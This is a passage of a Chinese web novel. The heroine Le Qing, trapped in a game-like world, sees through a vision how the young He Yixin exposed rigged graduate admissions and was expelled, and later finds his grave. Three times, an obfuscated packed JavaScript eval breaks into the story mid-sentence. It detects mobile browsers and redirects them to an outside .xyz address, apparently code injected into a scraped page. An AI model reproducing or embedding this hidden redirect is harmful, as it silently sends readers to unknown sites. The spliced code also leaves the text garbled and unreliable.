李韵星没有在意乐晴的不对劲，解释道：“医学院为了培养具备多重技能的复合型人才，二十年前推出了这个特别人才培养计划，也就是每年都会招收一批非医学生进入医学院，进行为期三年的学习，如果能顺利毕业，就能拿到硕士研究生的毕业证书，如果还想继续往上读，就要继续学习两年，最终可以拿到博士研究生的毕业证书。” “读博只有两年？” “没错，这也是大家都想往这里考的原因。” 不仅硕博加起来只需要五年，还可以跨专业，即使这两个专业完全不相干。 李韵星也是这么想的。 她想尽快毕业，尽快进入医院工作，所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271295|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以选择考入这所学校。 李韵星：“特别培养计划有两种录取方式，一是保研，二是考试。我们的另外两名室友都是通过教授推荐和面试，保研进来的，而你是考试进来的。” 乐晴：“……” 她真的是考试进来的吗？不知道是系统没有给她相应的记忆，还是这个考试也有猫腻？ 乐晴来不及细想自己的背景，只想知道更多关于曾传屿的事情：“可是这跟曾传屿有什么关系？” “曾传屿，是我们另外两位室友的推荐人。而且，就我所知，班级还有不少学生是通过这个方法进来的，只是推荐人不是曾传屿。” 乐晴忽然懂了。 曾传屿是医学院的博士生导师，但同时也是附属医院的医生，既需要学术上的造诣，也需要实践上的光环。 医学院这地方，人脉网盘根错节。通过资源进来的人，在曾传屿眼里，都不过是些能拿来交换的筹码。学术？实践？这些人帮不上忙，一丝一毫的突破都指望不上。 至于乐晴——如果她也是靠关系塞进来的，那根底就烂了，学术和实践的门都摸不着边。如果她真是自己考进来的，那也跟李韵星那种从本科就在血水里泡出来的刀差得远。 剔掉关系户，筛掉半路出家的次品。班上或许还有几个本硕连读的，但李韵星是里面最锋利、最沉得住气的那把刀。所以，李韵星是他唯一看得上眼的“最佳选择”。 曾传屿抛出的那句话，是递给李韵星一把往上爬的梯子。梯子的另一头，也牢牢拴在他自己脚底下。 对李韵星来说，往上，还是摔死，看本事。 对曾传屿来说，如果李韵星能爬上去，他只会受益，如果李韵星摔进深渊，他会毫不犹豫踹掉这个累赘。 乐晴摸不准李韵星的想法：“你是怎么想的，要答应他的要求吗？” 答应的话，非但学不到什么，还容易把自己的命交到对方手里。 不答应的话……至少在这个城市，李韵星学医的道路算是彻底封死了。 这是一场没有选择的选择。 李韵星沉静下来：“去。” 李韵星：“我没有选择。而且，接近曾传屿，也是接近权力中心。” 乐晴想劝李韵星三思后行，可这个选择不光关乎乐晴真正的死因，也关系到李韵星的未来。就像李韵星自己说的，她没有选择，除非她能找到另一个掌握医学界资源，能与曾传屿相抗衡的人。而这个人，未必是好人。 对普通人来说，要想拿到资源往上爬，就不得不妥协一些什么。 李韵星：“乐晴，我想，我可以从曾传屿那里拿到点什么，至少对得起我的付出。” “好，韵星，如果你真的决定好了我尊重你的选择。韵星，如果有任何需要帮忙的地方，一定要告诉我。” 如果杀了对方能解决问题，乐晴至少可以试试。 “当然，我们现在是一根绳上的蚂蚱，你可不能出卖我。”做了决定之后，李韵星反倒如释重负，拉着乐晴到一旁坐下，“来吧，告诉我你需要知道的，我可能从曾传屿那里知道的。” 33. 学术圣殿（七） 黄沙无边无际，粘稠干燥的空气里浮动着诡异的黑色烟雾，乐晴被困在其中，视野被压缩得只剩下眼前几步远。沙砾钻进靴筒，每一步都走得异常艰难。 乐晴用力攥紧手中的双管枪，冰冷的金属触感是这片混沌中唯一真实的坐标。汗水顺着鬓角滑下，在黄沙里砸出浅浅的坑洼。 模糊的视野边缘，一个高大的轮廓背对着她矗立着，沉默如沙丘本身。 “谁？”乐晴的声音干哑得厉害，被浓雾吞噬得只剩一丝微弱的尾音。 没有回应。那身影仿佛亘古以来就站在沙丘之上，是这片死寂沙漠唯一的活物。 乐晴不再犹豫，手指搭上冰冷的扳机，枪口稳稳地指向那背影的心脏位置。空气凝滞，只有她自己粗重的呼吸在耳边轰鸣。 那身影动了，异常缓慢，像一部被卡住的生锈机器。肩膀、腰背、头颅……一点点地转了过来。 乐晴屏住了呼吸，全身的肌肉绷紧，枪柄被汗水浸得滑腻，手指因过度用力而微微颤抖。终于，那张脸完全转向了她。 时间仿佛在这一刻冻结。 “贺……贺队？” 那张脸，线条清晰分明，带着一种尚未被漫长岁月和沉重责任打磨过的锐利与青涩。眉眼依旧是熟悉的深邃，鼻梁挺拔，薄唇紧抿，只是下颌的轮廓少了几分冷硬刚毅，多了些属于年轻人的、略显单薄的棱角。 那分明就是贺以辛，却比她认识的那个贺队年轻了不少。眼前这张脸，最多只有二十岁上下。 乐晴的脑子嗡的一声，一片空白。枪口下意识地往下垂了几寸。 怎么可能？贺以辛为什么会在这里？还变成了他大学时的样子？这诡异的沙漠，这弥漫的黑雾……难道是某种离奇的幻觉？还是…… 可为什么贺以辛会出现在这里？乐晴记得自己在宿舍，刚和李韵星聊完曾传屿相关的事情，洗漱完躺在床上正打算休息，一眨眼的功夫好像就出现在这里了。 穿越了？失忆了？难道……她又死了一回？不对。规则说过，每次死亡扣除20学分，她已经死了一回，如果这回也死了，最多也就剩60分了，会收到退学预警，可是并没有。所以—— 乐晴现在是进入了另一重空间？还是说，她医学生的身份也是另一重空间？ 就在她心神剧震的瞬间，贺以辛毫无预兆地动了。他抬起头，缓缓向前跨了一步，动作快得带起一阵细微的沙尘。乐晴甚至来不及做出任何反应，是举枪威慑，还是后退闪避？ 一阵裹挟着黄沙的风扑面而来，就在乐晴下意识闭眼躲避风沙的瞬间，贺以辛不见了。 “贺队？” 贺以辛原来站着的位置已经变得空空如也，只剩空旷到死寂的大风呼啸声，还要她自己凌乱的呼吸声。 “嘭”一声，好像有什么东西在耳边炸开，爆发出刺耳的轰鸣。乐晴闷哼一声，眼前骤然炸开一片刺目的白光，紧接着是无边无际的黑暗。意识像是被投入了高速旋转的漩涡，天旋地转。沙漠的灼热、黑雾的窒息、双管枪冰冷的触感……所有属于此刻的感知瞬间被撕得粉碎，被一股更庞大、更汹涌的洪流彻底淹没。 眩晕感如同退潮，留下意识的沙滩一片狼藉。乐晴艰难地睁开眼，刺目的光线让她本能地眯起双眼。视野从模糊到清晰，眼前不再是死寂的沙漠，而是一个充满生气的空间。 高大的窗户将初夏午后的阳光慷慨地倾泻进来，照亮了空气中浮动的微尘。窗外，几株巨大的银杏树舒展着嫩绿的新叶，阳光穿过枝叶缝隙，在地板上投下摇曳的光斑。空气里弥漫着旧纸张、木制家具特有的干燥气味，还有一丝若有若无的油墨香。一排排顶天立地的深褐色木质书架整齐排列，上面塞满了颜色深浅不一的书籍和厚厚的文件夹，压迫感十足。 这里是大学的资料室，或者档案室？难道是夏未说的藏书厅？ 乐晴做不出判断。她低头，发现自己正“坐”在一把老旧的木头椅子上，身体却轻飘飘的，仿佛只是一个没有重量的投影。她尝试抬起手，手指毫无阻碍地穿透了旁边书架上的一本硬皮书脊。 现在的她只是一个无法被感知的幽灵，被困在了这段不属于她的时空里。 就在这时，门被轻轻推开。乐晴的心猛地一跳。 是他，年轻的贺以辛。 他穿着简单的白色短袖T恤，深色的运动裤，臂弯里随意搭着一件薄外套，背上是一个洗得有些发白的深蓝色双肩包。他走进来，步履沉稳，带着一种与年龄不符的从容。阳光落在他轮廓分明的侧脸上，勾勒出清晰的下颌线，那双深邃的眼睛此刻正专注地扫视着书架上的标签，眉头微微蹙起，似乎在寻找什么。 乐晴的目光无法从他身上移开。这就是贺队曾经的样子？褪去了如今那份历经生死磨砺出的厚重，却有着更加纯粹的、未被磨损的锋芒，像一把刚刚淬火重生、寒光四射的利刃。 他走到管理员面前，低声说了几句。 管理员是个戴眼镜的中年女人，似乎认识他，脸上带着温和的笑意，很快递给他一串钥匙，指了指里面一个单独的小隔间。 贺以辛道了谢，拿着钥匙走向那个隔间。 乐晴不由自主地跟了上去，身体毫无阻碍地穿过紧闭的木门。 隔间里光线稍暗，只有一扇小窗透进些许阳光，空气更加滞闷，尘埃的味道也更重。贺以辛走到靠墙的一张旧木桌前，放下背包，从里面拿出一个白色保温杯，拧开喝了一口水，动作不疾不徐。然后，他从管理员指定的一个文件柜里，抱出了一大摞厚厚的蓝色硬皮文件夹，放在桌上。封面上印着醒目的字：本科毕业生保送研究生资格初审材料（内部存档）。 贺以辛坐了下来，翻开最上面的一本。他看得很仔细，手指一行行划过打印出来的名单、成绩、获奖情况、导师推荐意见……他的表情平静，眼神在密密麻麻的文字间扫过。 隔间安静到死寂，只有纸张翻动时发出的轻微沙沙声，和窗外偶尔传来的几声模糊鸟鸣。 时间一点点流逝。当贺以辛翻到某个学院的文件夹时，他翻页的动作突然停住了。他的目光凝固在名单中间靠后的某个位置。 乐晴下意识地飘近了些，目光落在他手指停留的那一行。 那是一个她完全陌生的名字：冯哲。材料显示他的专业排名甚至是倒数，大学期间没有任何竞赛奖项记录，却有十几篇顶刊论文。 那几篇论文，冯哲是一作。更巧的是，论文的其他作者、通讯作者，几乎都是那几个人，不过打乱了顺序。 一个专业排名倒数，没有任何获奖记录的本科生，可以作为第一作者发表十几篇顶刊论文吗？答案显而易见。 然而，就是这样一份离谱的简历，竟赫然出现在保送顶尖研究团队“生命科学前沿实验室?”的推荐名单里。 看到这里，贺以辛的呼吸明显变得粗重了一些。他猛地合上文件夹，发出“啪”的一声轻响，在寂静的隔间里显得格外突兀。 他没有立刻起身，而是靠在椅背上，仰起头，盯着天花板上一个陈旧的霉点，胸膛微微起伏着。乐晴看到他紧握的拳头放在膝盖上，指关节因为用力而泛白。 阳光透过小窗，在他年轻的脸上投下半明半暗的光影。乐晴从未在贺以辛脸上见过如此鲜明、如此不加掩饰的属于年轻人的情绪。 贺以辛肩负了太多，乐晴甚至不知道他是从什么时候开始就肩负起了这份责任。她只知道，大家眼里无所不能、所向披靡的贺以辛，已经快被那份责任裹挟成一个只会发布指令、执行命令的机器。她偶然窥见贺以辛袒露心迹，也是因为空域遭到入侵。 接下来的几天，乐晴如同一个无法挣脱的影子，被迫跟随着贺以辛。 她看着他利用学生会主席的身份，在各种场合“不经意”地观察那个叫冯哲的学生——一个衣着光鲜、眼神闪烁、言谈举止间带着明显纨绔气息的男生。 她看着他私下里找到王淼，那个被挤掉的、戴着厚厚眼镜、有些内向木讷的女生，谨慎地询问她是否了解情况。王淼只是茫然地摇头，眼神里只有失落和认命。 乐晴看着贺以辛在熄灯后的宿舍走廊尽头，压低声音和几个他信任的、在关键部门担任学生助理的同学通话，收集着零碎的线索。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271296|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些线索，像黑暗角落里滋生的霉菌，一点点拼凑出令人作呕的真相：冯哲的父亲是本市某个重要职能部门的实权人物，与主管学校科研和研究生工作的副校长有着“深厚”的私交。那份保研名单出炉前的关键节点，有不止一个人目击过冯哲的父亲出入张副校长的办公楼。 所有的证据碎片，最终被贺以辛整理成一份逻辑清晰、证据链完整的书面材料，打印出来，装进一个普通的牛皮纸文件袋。他拿起笔，在文件袋的封面下方，一笔一划，工整而用力地签上了自己的名字——贺以辛。这三个字，像三枚投入死水潭的石子，带着孤注一掷的沉重。 乐晴看着那签名，心脏像是被什么东西狠狠撞了一下。她知道这个签名的代价，那预感沉重得让她这个“旁观者”都感到窒息。 贺以辛带着文件袋，走进了行政楼。那栋楼有着光洁如镜的大理石地面，明亮得晃眼的吊灯，空气里飘着昂贵空气清新剂的味道，冰冷而疏远，与充满烟火气的学生区域截然不同。 乐晴跟着他，看着他挺拔的背影穿过空旷寂静的走廊，走向走廊尽头那扇厚重的深红色木门。 他抬手，指节在门上叩响了三下，声音清晰有力。 “请进。”一个沉稳的男声从里面传来。 贺以辛推门而入。乐晴紧随其后，穿过门板。办公室很大，宽敞明亮。巨大的落地窗外是精心打理过的校园景观。一张宽大的红木办公桌后，坐着副校长。他大约五十多岁，头发梳理得一丝不苟，穿着合体的深色西装，脸上带着一种公式化的、温和得体的微笑，眼神却难以捉摸。 “校长。”贺以辛微微欠身，声音平静。 “哦，是以辛啊。”副校长的笑容似乎加深了些，透出一种长辈对优秀后辈的欣赏，“坐，快坐。学生会的工作还顺利吧？你做事，我一向是放心的。” 他指了指办公桌对面的真皮沙发。 贺以辛依言坐下，脊背挺得笔直，没有碰茶几上那杯刚倒好的、冒着氤氲热气的茶水。他没有过多寒暄，直接将那个牛皮纸文件袋双手放在了光洁的红木办公桌上，推到了副校长面前。 “校长，这是关于今年‘生命科学前沿实验室’保研推荐名单的一些情况反映，我想需要请您过目一下。” 副校长脸上的笑容没有丝毫变化，只是目光落在了文件袋上。他没有立刻去拿，而是身体向后靠进宽大的椅背里。 “哦？”他拖长了尾音，仿佛只是听到了一件微不足道的小事，“名单有什么问题吗？评审流程都是专家组严格把关的。” 贺以辛迎着他的目光，一字一句道：“材料显示，入选的冯哲同学，科研能力存疑，无论是学业成绩还是竞赛奖项，都与被淘汰的王淼同学存在显著差距。而且，据多方了解，冯哲同学的入选过程，可能存在一些不符合规定的因素。” 办公室里安静得可怕。 落地窗外阳光灿烂，室内却仿佛有一块无形的寒冰在迅速凝结。 副校长嘴角那抹温和的笑意终于淡了下去，只剩下一种审视的平静。他没有去看文件袋里的内容，只是看着贺以辛，看了足足有十几秒钟。那目光沉甸甸的，带着一种居高临下的穿透力，让乐晴这个旁观者都感到一阵心悸。 “以辛啊，”副校长终于开口，声音依旧平稳，甚至带着一丝语重心长的味道，“你是个非常优秀的学生，能力出众，前途远大。学生会主席这个位置，是学校对你的信任和培养。” 他微微向前倾身，声音压低了一些，却更加清晰，字字敲在人心上：“年轻人有冲劲，有正义感，这是好的。但社会是很复杂的，看问题不能太简单，太理想化。” 他拿起桌上的紫砂茶杯，轻轻呷了一口，动作优雅从容。 “有些事情，牵一发而动全身。你看到的，也许只是冰山一角。贸然揭开，对谁都没有好处。尤其是对你。”他放下茶杯，目光重新落在贺以辛年轻而紧绷的脸上，带着一种不容置疑的暗示，“识时务者为俊杰。这个道理，我想你的父母在社会上摸爬滚打了几十年，应该都懂。有时候，退一步，是为了更好地前进。你说呢？” 34. 学术圣殿（八） 那话语裹着“为你好”的糖衣，字里行间都是捅进贺以辛心里的利刃。 乐晴看到贺以辛放在膝盖上的手猛地攥紧了，指节再次因为用力而发白，手背上青筋隐隐浮现。 贺以辛沉默了几秒，喉结上下滚动了一下，然后抬起头，目光没有丝毫闪避地迎上张副校长那双深不见底的眼睛。 “校长，‘生命科学前沿实验室’培养的是器官移植方向的人才，我想，一个专业能力不过关的人，没有资格进入。”贺以辛的声音异常平稳，强硬道，“我认为，程序的正义和结果的公平，是学校声誉的基石，也是对每一位真正努力过的学生最基本的尊重。这份材料，我署名了，并且复印了几分打算寄给教育部门。我相信学校会公正处理。” 说完，贺以辛站起身，没有再看副校长一眼，也没有等对方的回应，径直转身，拉开那扇厚重的红木门，走了出去。门在他身后轻轻合上，发出一声沉闷的回响，隔绝了办公室里那片令人窒息的寂静和寒凉。 乐晴看着他那挺得笔直、却透着一股决绝悲壮的背影消失在门后，又回头看向办公室内。 副校长脸上的温和与从容彻底消失了，只剩下一种冰冷的阴鸷。他盯着那扇关上的门，眼神锐利得像要穿透木板。然后，他伸手拿起那个厚厚的牛皮纸文件袋，看也没看里面的内容，手指用力，指节发白，近乎粗暴地将它塞进了办公桌最底层的抽屉里，仿佛那是什么令人极度厌恶的秽物。 他拿起桌上的电话听筒，快速地按了几个号码，声音压得很低，却带着一种不容置疑的命令口吻：“……材料在我这儿……贺以辛……学生会会长……对，立刻处理，通知各相关部门，务必拦下来，要快，要彻底……影响必须控制住……” 乐晴感到一股寒意从心底窜起，瞬间蔓延至四肢百骸。她知道，风暴已经无可避免地降临了。 风暴来得迅猛而残酷，没有丝毫遮掩。 仅仅三天后，学校官方发布了一则简短的通告。措辞冰冷而程式化：“经核查，学生会会长贺以辛同学在近期工作中存在严重失职行为……根据相关规定，决定免除其学生会会长职务，并予以退学处理。” 通告张贴在人来人往的公告栏上，像一个公开的羞辱烙印。 没有解释，没有理由，只有结果。 乐晴无助地看着这一切发生。 她看到通告贴出时，周围同学投来的惊愕、不解、惋惜，甚至是一些幸灾乐祸的复杂目光。她看到贺以辛独自一人站在公告栏前，仰头看着那张宣判他的“罪行”的纸。 阳光照在他脸上，他的表情异常平静，没有愤怒，没有悲伤，平静得如同一潭深不见底的死水。 只有乐晴能看到，他的手指攥进手心，攥到指节发白。 那平静，比任何激烈的反应都更让乐晴感到窒息般的疼痛。 她跟着他回到宿舍。 宿舍里空无一人，其他室友大概都刻意避开了。 贺以辛走到自己的书桌前，桌上还摊开着几本专业书籍和写了一半的论文。 他沉默地站了一会儿，然后开始动作。他打开柜子，将那些代表着他曾经的荣誉证书一本本拿出来，整齐地摞在一起。动作很慢，却很稳。最后，他拿起那份冰冷的退学通知，放在了那摞证书的最上面。 贺以辛走到窗边，推开窗户。 窗外正对着一条林荫道，夏末的风带着一丝凉意吹进来，卷动着书桌上的纸张。贺以辛没有回头，只是望着窗外被风吹得哗哗作响的、已经开始泛黄的梧桐树叶，背影挺直，却又透着一种被无形重担压垮的孤寂。乐晴就站在他身边，近在咫尺，却无法发出一丝声音，无法给予一丝安慰。她能感受到他身上散发出的那种浓重的、冰冷的绝望，像深秋的寒露，无声地浸透了他年轻的灵魂。夕阳的余晖透过窗户，给他沉默的身影镀上了一层暗金色的、悲怆的轮廓。 林荫道上的学生脚步匆匆，谈论着自己的当下和未来，没有人直到被掩盖的真相，没有人知道和真相一起被埋葬的贺以辛。 “叮铃铃——”一个骑着自行车的人从林荫道上快速穿过，她好像感应到什么，抬头匆匆一瞥，和贺以辛对上视线，也和乐晴对上视线。 即使知道自己仍然是没有实体的幽灵一样的存在，即使知道对方看不见自己，乐晴还是被吓得下意识后退了好几步。 林荫道上，骑着自行车穿过的，和贺以辛对上视线的，分明就是乐晴自己，是十八岁的她自己，生活在原来那个世界的她自己。 刺骨的冰冷如同退潮的冰水，猛地从四肢百骸抽离。乐晴浑身一颤，像是溺水者终于冲破水面，大口地喘息起来。沙漠干燥灼热的空气重新涌入肺叶，带着沙尘的粗粝感。眼前令人窒息的办公室、无情的审判、绝望的背影、划过的“乐晴”……所有幻象如同摔碎的镜子般片片剥落、消散。 她依旧站在那片被诡异黑雾笼罩的沙漠里，脚下是滚烫的沙砾。右手腕上，还残留着被年轻贺以辛紧紧抓住时那种冰凉的触感——正是这触碰，将她拖入了那段尘封的、残酷的往事。 心脏在胸腔里疯狂擂动，像是要挣脱束缚。乐晴急促地喘息着，冷汗浸透了后背的衣衫，紧紧贴在皮肤上，带来一阵阵战栗。她抬起头，目光急切地搜寻。 那个年轻的身影还在。 就在几步之外，背对着她，静静地伫立在流动的黑色烟雾中。依旧是那身简单的白T恤、运动裤，身姿挺拔，像沙漠中一株孤独的仙人掌。乐晴的目光死死钉在他身上，仿佛要将这虚幻的影像烙印进灵魂深处。 他并非生来就是如今那个冷静到近乎冷酷、将所有情绪都深埋于冰层之下的贺队。他也曾有过如此炽热的锋芒，如此孤勇的坚持，为了一个素不相识同学被践踏的公平，不惜以自己所有的前途和荣耀作为赌注，向庞大的不公掷出那柄注定折戟的投枪。 就在这时，那个背对着她的年轻身影，开始变得模糊。构成他轮廓的线条像是被风化的沙雕，从边缘开始，一点点地剥落、消散，化作无数细微的、闪着微光的沙粒，无声地融入周围弥漫的黑色烟雾之中。 “贺队！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271297|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐晴失声叫了出来，声音嘶哑干裂，带着她自己都未曾察觉的颤抖和恐慌。她下意识地向前冲去，想要抓住那正在消散的影像，想要留住那个曾经如此明亮、如此无畏的年轻灵魂。 然而，她的脚步只踉跄地迈出了一步，身体就不受控地陷入了流沙一般的地下，手指徒劳地伸向那片正在迅速变得稀薄的光影。 太迟了。 那个年轻的身影，连同他所有的锐气、理想和孤勇，已经彻底消散在浓重的黑雾里，仿佛从未存在过。沙漠里只剩下死一般的寂静，和那永恒流动的、令人窒息的黑色烟雾。 乐晴僵在原地，伸出的手还凝固在半空中，指尖空落落的，只有细微的沙粒从指缝间缓缓漏下。 “乐晴，你怎么了？” “乐晴，快醒醒，是不是做噩梦了？” “乐晴，乐晴？” 乐晴只听见自己的耳边嘈杂得很，费了半天劲，眼睛还没睁开，迎面浇过来一盆凉水，把乐晴彻底从幻象中拉了出来。 坐在床上，顶着一身湿漉漉，乐晴看着李韵星，无言。 李韵星看见乐晴醒了，眼神看上去也是清醒的，不慌不忙把脸盆放到旁边，解释道：“你刚才应该是做噩梦了，出了一身汗，怎么叫也叫不醒。我实在是没办法了，怕你被吓死在梦里，才出此下策。” “……”乐晴不知道怎么反驳，慢悠悠爬下床，“谢谢啊。” 但是李韵星虽然话糙，但说得没问题。如果不是李韵星，她还真不一定什么时候能醒过来。 刚才的一切只是一场梦吗？可为什么她会梦到贺以辛？ 乐晴没有见过更年轻的贺以辛，也不知道他是不是上过大学，准确来说，那个世界有没有大学她都不确定。 乐晴忍不住揉了揉眉心。还是平时忙着这里跑副本那里砍野猪了，连这些最基本的都不知道。 一根干毛巾猝不及防闯入视野，乐晴赶紧一把抓住。 李韵星：“快去洗个热水澡，别感冒了。” 乐晴手里抓着干毛巾：“好。那你呢？” 李韵星提着已经收拾好的背包晃了晃：“当然是去实验室找曾传屿。” “对了。”李韵星忽然停下脚步，“有人给你打过电话，我看你一直不醒，就帮你接了。他说他叫夏未，约你今天下午老地方见。” “好，我知道了……” 夏未？ 乐晴一时之间不知道作何反应。 “那个夏未……”李韵星问，“就是乐晴学姐的青梅竹马？” 乐晴点头：“嗯。” “他不觉得奇怪？” 乐晴抬头：“奇怪什么？” “你和他的青梅竹马一模一样啊，还同名。” “是奇怪……”不过不是夏未觉得奇怪，是乐晴觉得这一系列奇怪，他们的反应也很奇怪，刚才的梦更是奇怪。 等到李韵星离开宿舍，乐晴松开紧握着的手。 手心静静躺着粗粝的黄沙，和着水沾在她的手心。 那不是梦。 35. 学术圣殿（九） 舞台中央，阴森巴士底狱的场景尚未完全褪去。 几名凶神恶煞的狱卒和神情紧张的宫廷侍卫七手八脚地将一个身影从幽暗的监牢深处粗暴地拖拽出来。那人衣衫褴褛，身形与王座上的路易十四惊人地相似，他正是国王的弟弟——菲利普。 他挣扎着，却被死死按住。冰冷的、沉重无比的铁面具带着铁锈的腥气，被不由分说地、蛮横地扣压在他的脸上，锁扣发出刺耳的“咔哒”声，瞬间隔绝了他的面容，只留下那双充满惊怒与痛苦的双眼。 他被连推带搡，踉跄着押向那金光灿灿、象征着至高权力的王座。 王座高耸，路易十四背对观众，身影威严而冷酷。菲利普被粗暴地按跪在王座台阶之下，如同献祭的羔羊。 突然，菲利普爆发出惊人的力量，猛地挣脱了部分钳制，挣扎着站起。他不再看那将他推入深渊的王兄背影，而是踉跄一步，决绝地面向观众。沉重的铁面具下，胸膛剧烈起伏。他猛地张开被镣铐磨出血痕的双手，那动作不像祈求，更像是一种撕裂自身命运的悲鸣。他用尽全身力气，声音穿透面具，带着金属的嗡鸣与灵魂深处的呐喊，响彻整个剧场： “Akingshouldrulewithhishead,notwithhisheart...butneverwithoutmercy!” (国王治国需用脑而非心……但绝不能没有慈悲！) 红色幕布落下，宣告着戏剧的落幕。 “结局呢？” 乐晴还没来得及弄清楚那黄沙和那真实到不可思议的梦，就被夏未强行拉过来看这场戏剧。 “女士们，先生们，今天的剧目已经全部结束，诚挚感谢大家的喜爱，我们在大厅备有今日演出的纪念册……” 主持人已经在致谢了，剧场里屈指可数的观众开始起身往外走。 夏未也起身：“下一幕才到结局。” 乐晴看着厚重的红色幕布，有些恋恋不舍：“那我们看完下一幕再回去吧？” 夏未笑着把乐晴牵起来：“下一幕在下个月，你确定要在这里等？” “……算了。” 也不知道这些剧院工作人员都是怎么想的，从开端到结局竟然分了四幕，还分在四个月分别演出，乐晴只有幸看了这传说中最精彩的第三幕。 见乐晴还是有些不舍，夏未从口袋里抽出两张票：“别不高兴了，最后一幕的第一场，票我已经买好了。” 乐晴看见票面，眼前一亮：“你什么时候买的？” “秘密。” 虽说这一场只有寥寥数人，但并不意味着这出戏剧没人看。 大众的受众多，冷门的受众少，但格外长情。 这出剧目的受众就是，每一幕前几场的票是一票难求，月末的票却大多数时候都无人问津。能买到首场的票，乐晴不用想也知道，夏未早就买好了。 但夏未不说，乐晴也不多问，只是换了个话题：“你最近不忙吗？” 言外之意是，她要去继续走她的主线任务，没有太多时间应邀和夏未一起出来。 “忙的事情都做得差不多了。” 夏未话音刚落，剧院外忽然传来一声轰鸣，震得剧院顶上的射灯抖了几下，摇摇欲坠。 “乐晴！”夏未下意识把乐晴拉到自己怀中，护着乐晴离开观影区。 乐晴看着恐慌的人群和不停震动的地板，心里也有些忐忑：“发生什么了？” 夏未解释：“你刚回来，还不清楚这里的状况。” 夏未四下观察，判定附近暂时安全之后，带着乐晴往外撤离：“先回工作室，我慢慢跟你解释。” 乐晴刚想多问两句，又是“轰”一声，靠近舞台的几顶射灯砸了下来，红色幕布被撕出一道长长的口子，无力地挂着。 透过那道口子，乐晴看见舞台上没来得及撤走的道具散落一地。 - 来到室外，一切混乱似乎都消失了，街道上人来人往，嬉笑聊天，好像一切从未发生过。 乐晴愈发觉得诡异。 且不说要杀她的人，就剧院里的这一番景象已经足够让人心惊胆战。到底是什么能让剧院发生如此大的骚动？更让人不安的是，乐晴只看见摇摇欲坠的射灯、被撕破的幕布，还有混乱的人群，幕后黑手却像从未存在过一样。 “夏未，到底发生了什么？” 她不存在的这段时间，到底发生了什么？ 夏未琥珀色的眼睛看着乐晴，沉默很久，他忽然道：“跟我去一个地方，去了你就知道了。” 乐晴半信半疑。可在这个世界，他目前只能相信夏未。如果说这个世界有人不会伤害她，那么这个人一定是夏未。 - 夏未带她来的地方只是一片普普通通的荒芜的墓地。 举目望去，没有一片墓碑站立，野草疯长，带着尖刺的荆棘与藤蔓缠绕，铺天盖地蔓延开来。 那些石碑，曾经刻着死者的姓名与生卒年月，如今却面目全非。它们或倾斜、或断裂，甚至有的干脆倒伏在地，被泥土与荒草掩盖了大半，青苔如同顽固的绿癣，一点一点啃噬着石碑，吞噬掉所有留存的痕迹。 碑座下面成了虫蚁的巢穴，它们忙碌地进进出出，在断茬与裂缝间穿梭，筑起另一个喧嚣又短促的世界。 这里没有焚香缭绕，没有鲜花祭奠，更无丝毫人声足迹。唯有风，从荒草的缝隙间呜咽着穿行而过，在那些残碑的孔窍与裂缝里，发出长长短短、忽高忽低的哨音，成为遗忘在时间尘埃里唯一的回响。 乐晴看着死寂的墓地，有些茫然：“这里是……” “你离开之后，发生了很多事情。”夏未带乐晴穿过倒伏的石碑，走进墓地深处。 墓地深处已经完全被草覆盖，只有几处石碑露出一点尖角，除了—— 乐晴不自觉走近那处被清理过的石碑。 石碑底部的泥土是新的，或许是石碑早已倒伏，但近些天来有人把石碑扶正了，还翻了土，把石碑埋得更深、更牢固。 石碑附近的杂草被清理过，不至于像其他石碑一样被遮盖得严严实实，至少有落脚的地方。 看见墓碑上的字时，乐晴骤然顿住：“贺以辛？！” 乐晴强迫自己冷静下来，可不管怎么看，墓碑上写的都是“贺以辛墓”。 贺队……死了？ 见乐晴反应强烈，夏未停下清理枯枝的动作：“你认识他？” 乐晴摇摇头：“不认识，只是……” 她不知道这个世界贺以辛是什么身份，又或者这根本就不是她认识的那个贺以辛，更何况他的墓碑都立在这里了，认识也没什么用。 乐晴随便编了个理由：“只是觉得这个名字有些熟悉。” “嗯，我们念大一的时候，他是学生会会长。” “学生会会长……”也就是说，那不是梦，而是贺以辛的过去…… “他什么时候……” 夏未道：“你遇害之后不久。” 夏未盯着那石碑看了很久，道：“他不是自杀。” 乐晴想，如果是贺以辛，如果是她认识的那个贺以辛，绝不会选择自杀。 如果是贺以辛，不管他遇到什么事，他会拼尽全力，在现有体系中找到生存策略，在流逝的时间中抓住一切可能抓住的机会，积累属于自己的资金、能力和人脉，然后伺机将对手一网打尽。 不妥协才是贺以辛。 可乐晴想不通。 “你的意思是……” “据我所知，他献祭了自己。” 乐晴只觉得自己脚下的土地颤了一下。 献祭？ “他献祭自己，换了什么？” 